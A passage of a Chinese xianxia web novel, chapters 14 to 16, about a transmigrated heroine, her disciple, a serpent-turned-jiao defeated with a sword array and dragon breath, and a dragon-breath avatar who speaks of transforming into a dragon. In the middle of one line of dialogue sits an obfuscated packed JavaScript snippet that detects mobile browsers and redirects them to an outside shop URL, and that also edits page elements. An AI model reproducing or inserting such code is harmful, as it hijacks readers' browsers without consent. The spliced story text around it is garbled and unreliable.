此刻巨蟒比秘境里更加庞大,身上有鳞甲突起,还长出一对爪子,不过头上没有角,看起来更像是蛟。 山崖四周原本是平静云海,这时却像是涌起滔天巨浪,拍打在崖壁上。 云海仿佛霎时从云变成海。 14. 联手背锅 海里有一条蛟在游动,时不时掀起巨浪扑向岸边山崖。 尽管那不是水而是云,但打在身上确实痛,只是不会让人全身湿透。 但是云里也有水,拍打次数一多身上也会湿。 “是它干的,不是我!”齐云鲤赶紧证明清白。 秘境长老完全不接受:“空口无凭!” “他们都看到了!”齐云鲤指着鼎山弟子,想让他们帮忙证明。 可他们只是无奈摇头:“其实大家都有动手……” 当时打成一片,谁也不清楚具体发生什么,说不定秘境破碎还有他们的事。 太过匪夷所思,所以谁也不好妄下定论。 ——这本是他们出来承担责任。 但秘境长老听到后却大喊:“反正你也有份!” 毕竟这个青湖出来就没好事。 “大家都有份……”齐云鲤只能说。 秘境长老怒目圆瞪:“你的责任最大,得赔偿损失!” 这时云海正在翻腾,其中的蛟行踪不明。 但秘境长老的咆哮压过一切,仿佛压抑已久的怒火终于爆发。 ——似乎洪水滔天也不如让青湖赔礼道歉重要。 秘境长老以外的人都在留意云海中的蛟,大家都感觉要出事,因此谁也没精力关注其他方向。 就在这时一缕残存黑烟从土石中飘出,然后化作细小黑蛇向齐云鲤扑去。 没有任何人发现这件事。 ——偷袭看起来志在必得。 但是当黑蛇即将咬到齐云鲤时,一个阵法骤然出现,将其挡在外面。 黑蛇没有瞬间破坏阵法,所以齐云鲤看清身侧的阵法花纹——四周排列着八卦和一些错综复杂的符号,但是正中心有一朵玉兰花。 刹那间她仿佛又看到白玉兰下站着一个女子。 那个人蒙着双眼,说:“你知道他是谁。” 然后右手做出劈砍姿势。 阵法凭空消失,黑蛇也烟消云散。 其他人只是发现有阵法一闪而过,以及青湖师叔愣在那里。 秘境长老还在咆哮,齐云鲤充耳不闻,而是看向云海中的蛟。 蛟的外形像蛇,四爪或者两爪,头上没有角,但是能呼风唤雨。 ——眼下这是最接近龙的形态。 可鼎山最不缺的就是龙息。 之前龙骨令能压制黑蛇,若是眼下四周龙息凝聚成团或许就能压制那条蛟。 想到这里,齐云鲤就感觉既然都是穿书者,那就教面具人好好做人。 虽然不知道具体身份,不过他们都是外来者。 再接近真龙形态,也比不过龙息。 “他不能化龙,但你们有龙息,可以结合剑阵把他打得满地找牙。”齐云鲤说出一个诀窍,似乎稳操胜券。 这个办法还能结合之前的剑阵,自然是再好不过。 鼎山弟子与巨蟒相比已是望尘莫及,若是再跟蛟相比那就是天壤之别。 可这个提议能让他们震慑远在天边的东西。 这是连想都不敢想的事。 没人指望能名扬天下,但那是能让四海皆知的事。 众人一时思绪万千,不过谁都没有表态。 云海翻腾,秘境长老质疑,鼎山弟子一声不吭。 四周有各种声响,可中间的静最为关键。 在这鸦雀无声的时刻,卫池出来认领责任:“秘境是我打烂的。” 他之前还显得有些疲惫,这时却有几分斗志。 只要主动承担责任,鼎山弟子就不会有后顾之忧。 制服那条蛟也就不在话下。 齐云鲤瞬间察觉其中关键,要是还有什么挡在鼎山弟子面前,那就是秘境破碎的责任。于是她大方开口:“既然是我徒弟闯的祸,那我赔了。” 鼎山弟子闻言看过来,似乎都有些不可置信。 不过齐云鲤只是说:“下手狠一点,我徒弟是因为他才打烂秘境。” ——什么也不用担心,放心大胆地打。 这是鼎山弟子在青湖师叔身上看到的东西。 虽然之前没听说过此人,但这时的话实在出人意料。 修道门派长老往往不让门下弟子轻举妄动,稍有不慎就可能酿成大祸。 可此时却有人像是在说一旦出事她来承担责任。 卫池看到这个表态,就继续补充说明:“可能还需要运用鼎山龙息。” “不是要用剑阵吗?”宋安合问。 此时此地正在秘境入口的山崖上,却没人留意秘境长老的态度。 而他也一心一意瞪着那个口出狂言的青湖。 “师父说龙鼓论战是一种以战斗平息龙息动荡的行为,也就是说龙息偏向于战斗,而不是安稳。若是用龙息来攻击巨蟒,或许正合龙息的意。”卫池慢慢说出这个结论。 师父齐云鲤补充:“龙息跟护山大阵一起稳住局面,然后再用剑阵攻击。” 如此一来,各种阵法都能派上用场。 卫池说:“这里的稳住局面其实就是一种攻击。” “我徒弟对这种事很熟,听他解释吧。”齐云鲤布阵稳住云海里的蛟,让其暂时无法兴风作浪。 此时他们两个配合地天衣无缝,于是秘境长老就信以为真。 鼎山弟子在卫池的详细说明下也逐渐明白是怎么回事。 蛟颇似龙形,因此在下手之前得先震慑住,不然可能造成一堆问题。 龙息用来震慑蛟,护山大阵用来保护鼎山,二者相辅相成。 然后再用剑阵之威破除蛟的形态。 化形解除,麻烦自然一扫而空。 看似不可战胜的蛟其实只是一个幌子。 只要把光鲜亮丽的包装破坏,就会露出内在真身。 到时候自然想怎么打就怎么打。 鼎山弟子听明白后就开始施法布阵。 虽然鼎山遍布龙息,但此地龙息并不密集,无法形成威慑。 只有先将其他地方的龙息引过来,才能发挥作用。 众人早已熟悉龙息,于是迅速排成一列,将崖顶想象为晨练之地,将龙息引过来。在晨练之地被龙息压迫的印象太过深刻,没想到之前的苦难如今还有用武之地。 鼎山弟子以一种被打的架势吸引龙息过来打他们,不过到这边以后就会发现蛟更危险。 他们在晨练之地感受龙息压迫,从而熟悉成自然。即使犹如泰山压顶,也能无所畏惧,因此才能进入鼎山禁地。 没想到眼下还能以此来震慑云海中的蛟。 蛟在云海里游动,似乎水波翻腾。身形还逐渐变大,愈发不可战胜,眼看就要冲上崖顶与众人搏斗。 不过片刻之后周遭却弥漫开一种威不可挡的东西。 无论蛟怎么挣扎,都难以匹敌巨大压力。 之前波涛汹涌的云海瞬间风平浪静。 鼎山原本还显得有些凶险,这时太平得仿佛是个秋游胜地。 “就是现在!”齐云鲤大吼一声。 鼎山弟子纷纷长剑出鞘,虽然站在山崖上,但剑阵剑气被他们调动,随着他们挥剑就顺势劈向云海中的蛟。 那条蛟原本在蓄势待发,没想到头顶突然劈下成千上百道锋刃。 锋刃来自剑阵,剑阵来自青滔。 因此刹那有如青滔出剑而来,斩断一切坚不可摧,那自是谁也无法抵挡。 蛟原本还在云海中游走,结果突遭威不可挡的攻击。 哀嚎响彻云霄,只见蛟直接撞上远处高山,再次腾起时已经变回巨蟒,高山上出现一个院落残骸。 “那是我的院子……”秘境长老有点无语凝噎。 齐云鲤顿时有种不详之感,刹那间冲过去跟巨蟒打起来,虽然不知道什么情况,但眼下她绝不能愣着。 与龙息和巨蟒相比,齐云鲤相当渺小。 可此时她身上却腾起一股剑气,一时间竟没被压下去,而是与龙息一路将巨蟒暴打。虽然动手的只有她,但鼎山龙息随时都在压制巨蟒。 鼎山弟子看得目瞪口呆,而秘境长老看着一片废墟的院落只能无话可说。 不一会儿巨蟒就消失无踪,龙息也随之消失。因此站在废墟中的只剩齐云鲤,她发现脚下一片狼藉,这才惊觉不妙。 秘境长老冲过去大吼:“你跟我有仇是吧?!” “这是刚才那条巨蟒干的……”齐云鲤说话没底气。 这话一出口,秘境长老更是气得破口大骂:“也是你放出来的,还把秘境砸了!我就说你没安好心!怎么你一来就有巨蟒,难道还是你养的?!” 明明已经有卫池出来承担责任,秘境长老还是怀疑她。 齐云鲤无可奈何地说:“我赔你一个秘境……” “那这个院子你就不管了?!” “这是我们的责任。”宋安合及时出现。 “这跟你们有什么关系?”秘境长老瞬间语气温和。 宋安合很不好意思:“龙息是我们引来的。” “就是你口出狂言,还连累其他人!”秘境长老指着齐云鲤大吼。 ——两种形象转换地相当迅速。 秘境长老在那边的山头咆哮大吼,鼎山弟子在这边的崖顶围观看戏。而且刻意跑过来看戏的人越来越多,大家基本都被骂过,因此这场戏格外精彩。 “他怎么越骂越气?” “没被气死,还能骂就不错了。” “看来青湖师叔是能气死人的豪杰。” “上次我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16963668|193353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被长老骂了一刻钟,我还是挂在他名下。” “你要是说出这件事,他会让你从玄镜池下面挑水到禁地去,中途敢用阵法移动就去禁地呆着。” “你被关了多久?” “一整晚……” 一场惊天打斗在秘境长老的叫骂声中变成吵吵闹闹的日常琐碎,卫池也不知道这是有意还是无意。 之前的打斗过大,大到鼎山弟子都难以接受,毕竟都是些闻所未闻之物。 如今吵得众人一时都忘记那件事。 崖边一大群鼎山弟子在叽叽喳喳闲聊,宋安合从那边崖顶回来,走过来问卫池:“师弟,刚才你如何看得清黑烟?” 漆黑的环境里要看清一缕黑烟那绝不是小事。 只有对此极其熟练的人才能捕捉到细小痕迹差别。 “师父为了防止我在秘境受困,因此在我双目上布阵,阵法可以照亮眼前的昏暗。”卫池平静回答,将功劳都给师父。 之前齐云鲤说出那句前所未有的话,让鼎山弟子不敢想象。 所以他这么描述似乎合情合理。 宋安合十分好奇:“你又如何得知黑烟染血就会变大?” “师父说藏于暗处的东西都有所图,只要让其有所得,就能令其无法隐藏。”卫池将自己师父形容得深不可测。 鼎山弟子谁也想不到还这种方法,但仔细一想又仿佛理所应当。 “龙骨令也是师叔说的?”宋安合已经差不多确定答案。 卫池点点头:“师父说龙骨令由龙骨制成,龙骨又是真龙身上的东西,因此龙骨令也带有一定龙之力。我想那么龙骨令应该能对黑烟起到一定震慑效果,没想到果然有效。” 虽然夸得有所收敛,不过宋安合的反应却是名师出高徒。 “刚才的巨翼是师叔变的?”最后宋安合问。 卫池说:“只可能是师父变的。” 齐云鲤在不知不觉之间得了一堆功劳,就在这时崖边的鼎山弟子大喊:“他跳了!长老跳了!” 片刻之前,齐云鲤还在承受秘境长老的怒吼。 “你都开始带人拆秘境了,能不能干点好的,造一个秘境?!” “这学问太深奥,要花点时间……” 秘境长老掏出一大摞书:“好好看看,好好学学!” 齐云鲤接过书,发现不是一般重,低头数了数都有十多本,只好说:“这也太多了吧?” “你徒弟都头头是道,你能不能学着点?!” 秘境长老夸起卫池,齐云鲤就有点不服:“他说的都是我教的。” “他那个时候都能沉稳应对,你还要强行狡辩!”秘境长老比较起两人差异,“教的什么东西?!” “秘境我赔了,但那是他打烂的!” 齐云鲤一声吼,吓得秘境长老倒退几步,眼看就快掉下山崖。 “不要激动,别掉下去。”她赶紧提醒,生怕又出什么事。 “我现在跳给你看!”秘境长老生怕她耍赖,赶紧跳下山崖,青湖说她做一个秘境赔给他,那就是天降横财。 现在不跳以后就再也没有机会。 他往下一跳,熟练地挂在崖壁一棵树上。 虽然他暂时没事,但齐云鲤还是担心:“要我拉你上来吗?” “我不想看见你!”秘境长老干脆利落。 “……那我走了。”齐云鲤见他不会出事就转身离开。 山崖这边的鼎山弟子见到跳崖场面啧啧称奇。 “青湖师叔真是世上罕见的奇才。” “这比逢年过节还精彩……” “这场景我能跟人说上三天三夜。” 鼎山弟子众说纷纭,宋安合问卫池:“青湖师叔这么厉害?” “我师父说不要声张,她也不清楚教这些对不对。” 卫池的回答依然停留在刚才他们二人的对话中,似乎对那边山头的吵闹没有任何兴趣。 鼎山龙息原本还算平静,但经此却沸腾了好一阵子。 此前从未出现过这种情况,而且又并未给鼎山中人带来任何压迫,只是单纯的龙息沸腾。 因此身处鼎山,即使周遭无人,也有一种闹腾的感觉。 在这闹腾之下,鼎山出现一位从未见过的彩衣女子。 她看上去温婉可爱、小家碧玉,衣裙鲜艳又美丽,仿佛是在刻意表演什么。 ——这种人出现在鼎山自然不同寻常。 鼎山弟子跑过去问孙峥湖,那是专门帮罗白音做事的人,对吉凶悔吝料事如神。 “啊,她出去了?”孙峥湖先是错愕,然后神色一敛,“没事,离她远一点就行,不要去招惹她。” 于是鼎山弟子纷纷对那名彩衣女子绕道走,能有多远就走多远。 15. 化龙之说 鼎山弟子纷纷绕道远行时,那名彩衣女子一路向上,最后来到飞泉院。 一踏进院门,她瞬间就化作云烟,向着罗白音那个房间飘去。 沿途经过白玉兰时,云烟还在树上绕了一圈。 罗白音坐在那里,面前站着一个年轻人,身着清灰长袍,长相俊美、身形高挑。不过腰间挂着一串小布带,仿佛是棵硕果累累的桃树。 这是之前得知情报的孙峥湖,那可不是小事。 他正在禀报:“冬青在众人面前现身了。” 冬青正是那名彩衣女子,她是鼎山龙息化身。 鼎山龙息过多,为了及时清楚龙息变化,鼎山掌门施法布阵,让龙息有一个可以依附的形态。鼎山龙息是什么情况,看冬青就能明白。 只有核心位置的几个人知道这件事,普通鼎山弟子从未见过她。 眼下她当众现身自然是大事。 一缕轻烟从窗外飘来,然后有个响亮声音传开。 “你看到了吗?你看到了吗?” 听上去感觉兴奋地仿佛是要敲锣打鼓。 罗白音皱起眉头,闻言就泼过去一杯茶,茶水落地的瞬间也有人影出现。 那是个娇小女子,这时正身着一件好似落叶进水的衣服。既有零散叶子,也有半身水迹,看起来就像是罗白音泼过去的那杯茶。 不过反正都是假的,所以冬青毫不介意。 “我就说那人经过青湖检验,”她并不畏惧罗白音,只是冲着孙峥湖大喊,“你跑那么快干什么?!” 孙峥湖不想跟她争,从腰间拿下一个小布袋放到桌上就溜之大吉。 布袋里装着果丹皮,冬青吃着坐下来。 果丹皮由山楂制成,酸甜可口,所以她吃得不亦乐乎。 吃着吃着之前的气焰也削减不少。 等她快吃完,罗白音才说:“看到了,你要说什么?” “龙息有那种变化绝非小事。”冬青心平气和地说。 罗白音并不客气:“这还要你说?” 其实冬青就是之前齐云鲤被救回飞泉院时的那个模糊人影。 只是没想到青湖躯体里的那个魂魄还真不是常人。 鼎山龙息鼎盛,会随着四时变化而变动,这都是自然现象。 如今还没到寒冬腊月,所以龙息会遍布鼎山上下。 但之前龙息汇聚到秘境入口那边的山崖,这是谁也想不到的。 鼎山龙息从未出现过那种变化,龙息变化如此之大,影响不小。 “你知道原因是什么吗?”冬青的问题很清晰。 罗白音语气平静:“你说吧。” “是鼎山弟子主动吸引龙息过去的,他们能调动龙息,”冬青高兴地不得了,“现在能调动,说不定以后就能化龙!” 化龙是最难的一种化形,毕竟条件太高没人做得到。 不过龙息鼎盛就是化龙条件之一。 如今还有人能调动龙息,化龙自然也指日可待。 身为龙息化身的冬青最想做的就是化龙。 昔日鼎山掌门担心鼎山龙息造成祸患,因此施法将她变出来,以此来防范龙息暴乱。她原本轻飘飘的哪里都能去,有了这个化身就被束缚起来。 只有化龙才能让她摆脱约束。 但是化龙的不能是冬青,她只能等人化龙。 她等了一年又一年,如今能化龙的人总算有点眉目。 冬青大声宣布:“这是那个青湖指导的,说不定以后她还能化龙!” “古往今来没人能做到。”罗白音毫不留情。 冬青并不气馁:“现在就是出现第一人的时候!” “代价很大,你承担不起。” 罗白音不会轻易否定什么,一旦否定那就是有九成把握。 但如今正是在否定冬青的期盼。 冬青也搞不清楚:“……什么代价?” “反正没好事。”罗白音态度坚决。 她没有明说,冬青只好退而求其次:“怎么说也得叫一下那个青湖。” “她自己会过来。” 齐云鲤虽然完成用剑阵练兵的任务,但还有些事没搞清楚,因此这时还留在崖顶。崖顶的鼎山弟子已经不再惧怕,而是问东问西,她就将之前的事简单加工,说得相当细致。 当然重点是剑阵人人都能使用,效果就跟之前差不多。 之前那九名鼎山弟子与云海中的蛟对抗,这是曾经想都不敢想的事。 原本蛟是一种不可对抗之物,可之前的对抗货真价实,众人亲眼所见。 因此运用剑阵就类似以小博大,以少胜多,四两拨千斤。 “只要用了剑阵,以后我也能那样打?”孙仲礼格外兴奋,他从很远的地方跑过来,再累也挡不住内心激动。 “没这么简单,”齐云鲤感觉他就是个看戏的小孩,因此没有把剑阵捧上天,“那只是工具,你们能够使用,仅此而已。关键还是你们自己,别一心依靠外力。” 剑阵不是万能的,抱有过多期盼只会大失所望。 又不是只要有剑阵就什么也不用做。 ——关键是鼎山弟子,而不是剑阵。 “但他们之前不就做到了?”孙仲礼依然搞不懂。 他就是觉得剑阵万能又无敌,似乎拿到手就战无不胜。 “那是因为他们先彻底掌握阵法相关知识,还能承担龙息压迫,然后再拔剑对抗,才会有那种效果,”齐云鲤只好耐心讲解,“剑阵不是灵丹妙药,而是比较危险的东西,要想完全掌握就必须熟练很多知识。” 她说得格外详细,但不够浅显易懂,孙仲礼还是不明白。 之前分明就是鼎山弟子借助剑阵做到不可能做到的事。 既然都是鼎山弟子,那么他也可以。 孙仲礼依然没有放弃:“可是……” “如果你有神兵利器而不懂剑法,那么第一个死的只会是你。”卫池及时说出真相,没有那些弯弯绕绕,简单易懂。 剑阵类似神兵利器,杀伤性极大,若是不会正确使用,只会导致自我了断。 虽然具体内容没有说清楚,但危害已经明了。 孙仲礼似懂非懂,反正剑阵很危险,不要轻举妄动。 他不再坚持,齐云鲤也松口气,毕竟已经说过太多这种事。 孙仲礼走到旁边去请教师兄,卫池就走过来。 结果之前配合默契的师徒现在又争起来,虽然动静很小。 “剑阵很危险,你贸然让鼎山弟子使用可能导致严重后果。”卫池毫不客气。 剑阵虽然有效,但风险不小,毕竟是攻击型阵法。 可以攻击外人,也可能攻击布阵之人。 剑阵的攻击基本没有鼎山弟子可以抵挡。 虽然他这么说,但是齐云鲤想的是另一回事,闻言就说:“之前在鼎山山脚已经跟他们配合过。” 她觉得既然已经熟悉,那就不会出问题。 卫池强调:“这不是一回事。” “不都是阵法?”齐云鲤有点迷惑,完全没意识到他们不在说同一件事。 卫池见她一脸疑惑就重点说明:“我都被打半死才明白如何使用剑阵,你让他们随手就用,被打的可能就是他们。” 剑阵可不是只会打一方。 谁知齐云鲤更加搞不清:“你又不是被剑阵打?”卫池之前在白鹭坪都是被青滔打,最后有人攻击过去才成功使用剑阵。 他被打跟剑阵有什么关系? “难道剑阵不会打他们?”卫池只好突出重点。 齐云鲤很困惑:“我怎么知道?” “你一无所知还敢让他们接触那么危险的东西!”卫池气极。 “他们都没事,没看出哪里危险。” 两人各说各的,结果把卫池气得不轻。 他气得转身就走,还有鼎山弟子提问他也不管。 虽然之前办成一件大事,但稍有差池就可能满盘皆输。在鼎山满盘皆输,这当然是他最不敢面对的事。 齐云鲤没想到他竟然这么激动,一时没法挽回局面,只能等过后再说。 此时她完成罗白音布置的任务,自然得去禀报情况。 飞泉院在高处,不过齐云鲤速度很快,马上就冲过去。 院门大开,屋门也敞开,因此她直接走进去说:“已经让那几个鼎山弟子学会如何使用剑阵。” 这时房间里只坐着罗白音,不过她周围有飘渺云烟在缭绕,一看就不简单。 “仅此而已?”她并不急,但是似乎有些疑惑,云烟也抖动几下。 这情景让人想起不太好的事。 齐云鲤有点犹豫,沉默片刻才说:“他们还用了鼎山龙息……” 那些云烟并不安分,仿佛随时都能爆发。 之前卫池气成那样,不会罗白音也要气吧? 话音刚落四周云烟就动了一下,这让齐云鲤有点怕,感觉又要出事。 出事的方法千奇百怪,谁知道那云烟背后藏着什么。 但罗白音只是慢悠悠地问:“怎么用的?” 她的态度让齐云鲤又冷静下来。 “当时那个面具人化形成蛟,在山崖那边的云海里游走,为了压制他所以鼎山弟子吸引鼎山龙息过去,等他被龙息压制再用剑阵。”齐云鲤详细说明。 这是一件匪夷所思的事,所以罗白音又问:“还真的有用?” “面具人再怎么厉害也只是蛟,龙息可是来源于龙。”齐云鲤推测。 龙形只是一种形态,而不是本质。形式上再像,也比不过本质打击。 罗白音低头感慨:“所谓强龙不压地头蛇啊……” “鼎山是龙的地盘吧?”齐云鲤有点疑惑。 随着这句问话,屋内云烟瞬间沸腾起来,仿佛烧着熊熊大火。 即使没有烧到任何事物,却像是能烧尽一切。 齐云鲤一时很怕,感觉罗白音都能飞扑过来打她。直到再三确定那人坐在轮椅上,这才松口气。 “师叔你知道鼎山龙息是干什么的吗?”罗白音问得十分温和。 齐云鲤大惑不解:“不是为了防止各地被龙息暴乱破坏,才收集龙息?” “这只是明面上的。”罗白音点到即止。 要说又不说,必定不是好事。 暗地里有什么,齐云鲤一点也不想知道。 而且现在说出来,不就是要她去做? 罗白音说出开头:“天下原本有真龙,不过已经消失殆尽。” “这件事很遗憾,我先走了。”齐云鲤感觉大事不好,转身就要跑。 现在没有但原本有,那就说明还能有。 具体怎么有的不清楚,反正没好事。 她跑到门口正要出去,但敞开的大门被缭绕云烟猛地关上。 关门的云烟只是少数,罗白音身侧的才是重点。 齐云鲤顿感不妙,她回头一看似乎那云烟还渐渐变出人形。 这岂止不好,已经坏得不能再坏。 “如今世间混乱,只有化龙才能解决问题。”罗白音说出关键。 化龙是化形的一种,不过至今也没人能做到,毕竟就类似移山填海。 “龙息鼎盛是化龙的条件之一。”罗白音继续说着。 ——鼎山有这个条件绝不是偶然。 情急之下,齐云鲤只能赶紧抢答:“那个人炉是不可多得的旷世奇才,说不定他能化龙。人炉烧的什么火?也许就是真龙腾飞的烈焰。” 她说得太过完整,似乎毫无瑕疵,罗白音一时无话可说。 齐云鲤刚 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好不容易静下来,谁知又要动起来,龙息动起来不就天下大乱? 齐云鲤不敢相信,只能匪夷所思地看向罗白音。 罗白音眯着眼睛说:“动不是乱动,乱动会造成祸乱,动却能唤醒真龙。” 真龙是个熟悉的称呼,不过只存在于话语中。 天地间的那个已经消失很多年。 “……真龙不是死了吗?”齐云鲤完全搞不懂。 冬青大声强调:“所以还要化龙!” 她身上甲胄闪闪发光,仿佛就是天边飘渺的龙鳞。 鳞光闪闪之下好像化龙确实可行。 “人炉化龙有点难吧?”齐云鲤只能说出这个问题。 ——对人炉的要求有点过了。 冬青又大声强调:“那个是烧火的,你才是化龙的!” 此种说法过于离奇,以至于齐云鲤想假装听懂都做不到。 毕竟化龙一事只是世人幻想。 最后她只能问:“……这个应该是人力所不能及吧?” “青湖师叔你就是干这个的。”罗白音说出最终结论。 这话虽然匪夷所思,但也不是绝无可能。 鼎山的青湖不为世人所知,真龙也已经消失不见很多年。 二者似乎有什么相似之处。 如果说鼎山还有个青字辈专门干这个,仿佛也合情合理? 齐云鲤彻底无话可说,最后只能假装憔悴:“我有点想不起来,先缓一阵子吧……” 她慢慢走到门口,看到还有一缕若有若无的云烟才回头问:“她是什么人?” 她问的自然是冬青,不过罗白音的回答让她感觉还不如不问。 因为罗白音说:“她是鼎山龙息。” 鼎山龙息不计其数,没想到还化出人形。 虽然听说有高人将花鸟虫鱼变成人,但是将龙息变成人还真没听说过。 “谁干的?”齐云鲤很不可思议。 罗白音说:“掌门。” 鼎山掌门将龙息化成人形,因此闭关修炼,感觉还算合情合理? 齐云鲤无话可说,打开房门走出去,这次没有人再阻拦。 她垂头丧气走出房门,看见院子里的白玉兰,突然想起那个阵法中心的玉兰花,于是回头说:“我要一点玉兰花。” 玉兰花在阵法中心,那么布阵之人应该很喜欢白玉兰。 既然在不断救她,自己当然得有所回报。 只是贵重物品她也拿不出来。 “你能拿就拿吧。”罗白音说得满不在乎。 那棵玉兰树也不知谁种的,一年四季都花开不败。不过无论谁想摘花都只能以失败告终,有无名阵法在守着玉兰树。 最开始他们很警惕,在周围布阵设防,后来发现那棵树只是开花,就不管了。 她没有介意此事,显得有点奇怪。 不过齐云鲤也不知其中奥秘,走过去摘下一朵花就走了。 只是等她走出飞泉院,房间里的罗白音和冬青还在目瞪口呆。 “她……居然成功摘花?”冬青简直不敢相信。 在齐云鲤身边,那棵玉兰树普通得好像无人看管。 之前从未出现过这种事,反而是无论谁都碰不到花朵。 冬青不信邪就过去摘花,结果却一如既往被阵法挡住。 阵法并没有消失,依然笼罩在玉兰树四周。 ——只有齐云鲤不受影响。 “怎么她可以摘花?”冬青很不服。 这个青湖躯体里的魂魄异于常人。 那棵白玉兰也异于常人。 罗白音只能推测:“估计她跟白玉兰有同样来历。” 虽然不清楚来自哪里,但基本是同一个地方。 ——也算是熟人相见。 离开飞泉院的齐云鲤越走越快,想到有个阵法专门在保护自己,就感觉她跟铺设阵法的人肯定认识。 虽然不清楚什么时候认识这一路神仙,但关系绝对很好。 好到不仅有阵法防范,还亲自出来提醒。 那时蒙着眼睛的人肯定就是铺设阵法之人。 她还提醒自己认识面具人。 即使不知道在哪里认识那个要命的,但八成没错。 不过她也没有参与网上骂战,难道是现实生活里的某个人? ……那还真不是一般倒霉。 之前送到禁地的枝叶已经被清理过,这时齐云鲤施法布阵将那朵白玉兰放置在崖壁前,然后点三柱香拜了拜。 接着她转身就走,因为要专门去吓石月观音。 今天的事太过匪夷所思,不吓个人感觉难以平静。 16. 补课 破庙里空荡荡的,没有任何装饰摆设,只是在侧面摆着一个木台。 台子上有张纸,纸上画着个人形,除此以外空无一物。 正前方有个莲花座,座上立着石月观音雕像,雕像脚下的花瓣上签着不少人名。有的笔迹稚嫩,有的笔迹潦草,还有些一看就是设计好的签名,可见出自不少人之手。 正如一开始石月观音的声音有好几个人声同时响起。 莲花座上的雕像好似千手观音,仿佛也印证着不少人的存在。 那尊雕像已经立了很久,即使做工粗糙,也似乎有什么重要意义。 只是苦等至今似乎也没什么希望。 石月观音雕像化作人形,不再有很多手臂,她转头看一眼窗外白玉兰,又低头看看空荡荡的木台,不禁一声长叹。 正在叹息时,木台上那张纸上的人形突然变大,最终化成真人模样。 那就是石月观音的苦等结果——齐云鲤。 谁知她竟然失忆。 什么都不记得有何用,关键就在于她经历的那些事。 要是往事已成空,那就别活了。 石月观音叹了又叹,齐云鲤才一脸严肃地说:“我跟你说件事。” 这个人的到来当然算件好事,但那句话听起来就没好事。 之前有人说只要她醒来就万事大吉,可现在实在看不出来吉在哪里。 “什么事?”石月观音象征性地问,这已经是最后一点耐心。 齐云鲤说出关键:“面具人化形成蛟,不过被鼎山弟子用剑阵打了。” 剑阵在小说里是个虚无缥缈的存在。 青滔以外的人使用剑阵是谁也不会当真的事。 “……啊?”石月观音完全不敢相信,毕竟那在小说里只是青滔的玩笑,碍于情面和安危所以鼎山中人才没有嫌弃。 但齐云鲤就是专门来说这件事的。 “是青滔那个剑阵?”她不可思议地问。 “是的,”齐云鲤点点头,然后说出至关重要的话,“是男主提醒,鼎山弟子才发现其中奥妙。” “这就对了,我就说他是好人!”石月观音想也没想就脱口而出,前后差异大得判若两人。 虽然很离谱,但跟男主相关就千真万确。 “他们使用剑阵前调动了鼎山龙息,当时四面八方的龙息汇聚在一起,将那条蛟压得难以动弹。”让她吃到甜头,齐云鲤才继续说。 她描述得相当具体,但石月观音依然只关心:“男主在干什么?” 齐云鲤努力让双方产生联系:“他在背后指导鼎山弟子。” “这还有什么好指导的?”石月观音完全不懂。 “剑阵和龙息的事只有他才能说清楚。” 把剑阵和龙息都跟卫池挂钩,石月观音才不会熟视无睹。 她点点头:“打赢了,然后呢?” 至今为止,前面的铺垫总算做好。 “鼎山龙息非比寻常,”齐云鲤说出重点,“是给化龙准备的。” “……化龙?”石月观音满脸疑惑。 化龙是化形的一种,不过至今也没人做到,因此大家都觉得空口无凭,以至于时常有人拿化龙来说笑。 说笑次数一多,导致化龙都差不多成为笑谈。 ——“难道你还要化龙?”这是一种常见说法。 但齐云鲤明显不是在说笑,若不是有非说不可的事她无法现身于此。 石月观音也没将化龙当玩笑话,毕竟相关事情读者已经猜了百八十回。 “……谁化龙?”她皱起眉头。 齐云鲤拍拍胸膛,不过并不是信心十足。 石月观音更加不可思议:“……你化龙?” “听说青湖能化龙。”齐云鲤赶紧澄清。 “谁说的?” 青湖在小说里闻所未闻,化龙就更是连做梦都梦不到。 实在想不到还有人能说出这种话。 “冬青。”齐云鲤说出个陌生名字。 石月观音从没听说过:“这又是什么人?” “她是鼎山龙息化身。”齐云鲤的回答很简单。 石月观音目瞪口呆:“……啊?” 太过匪夷所思,以至于她直接愣在那里。 她彻底吓蒙,齐云鲤这才总算舒坦。 这件事过于稀奇古怪,之前罗白音却基本没当回事,搞得齐云鲤难以接受才不正常。眼下总算出现一个被吓蒙的,自己顿时就正常不少。 不过齐云鲤的欣喜并没有持续多久,因为石月观音开口了。 “那我也跟你说一件事……” “不用,你憋着吧。”齐云鲤赶紧拒绝。 感觉就没好事,还能不能让人松口气? 石月观音大声说:“龙鼓论战有问题!” “有什么问题?”这基本是所有读者都知道的事,齐云鲤不免松口气。 石月观音声音更大:“不知道,反正有问题!” 知道她说不出什么,齐云鲤就放心了。 “问题很多,我们要找出答案,”她耐心引导,“有时候一个小小解答就能彻底解决那个大问题。” 石月观音点点头,似乎很认可这种说法。 齐云鲤顺势就问:“你说的那个她到底是谁?” “你还没想起来?”结果前面铺垫一路,对方依然不松口。 就石月观音反应来看,她是很容易就上钩的人,但这样都不说出答案,可见那个人非同小可。 身份如此神秘,感觉也不是石月观音可以干涉的。 既然问不出来,就只能自己探查清楚。 齐云鲤彻底放弃,只能说:“有问题的不止龙鼓论战,鼎山龙息也有问题。” 鼎山龙息之前就是个比较危险的存在,结果现在还化成人形,那就已经不是危险可以概括的。 “让鼎山龙息有人形,是谁干的?”石月观音有点不服,本来就一堆破事,谁知还越来越糟。 齐云鲤只是说出答案,没有怨气:“鼎山掌门。” 鼎山掌门在小说里从没正经出现过。 “那就不是个干正事的,一天到晚出去玩,有事才回鼎山。”石月观音愤愤不平。 小说里的鼎山掌门到处游山玩水,好不快活,仿佛天大的事也有鼎山弟子扛着,反正他无事一身轻。 可这里的鼎山掌门就截然不同。 “听说他在闭关修炼。”齐云鲤解释说明。 这种表现无可指责,石月观音又问:“龙息那个人还说什么没有?” “她只是说要化龙。” “说这么点有什么用?”石月观音生气地东张西望,直到看见窗外白玉兰才停下来,“面具人很可疑,这个龙息也可疑,感觉谁都可疑,你也可疑!” 她最后伸手一指,直接指向齐云鲤,仿佛是在发火。 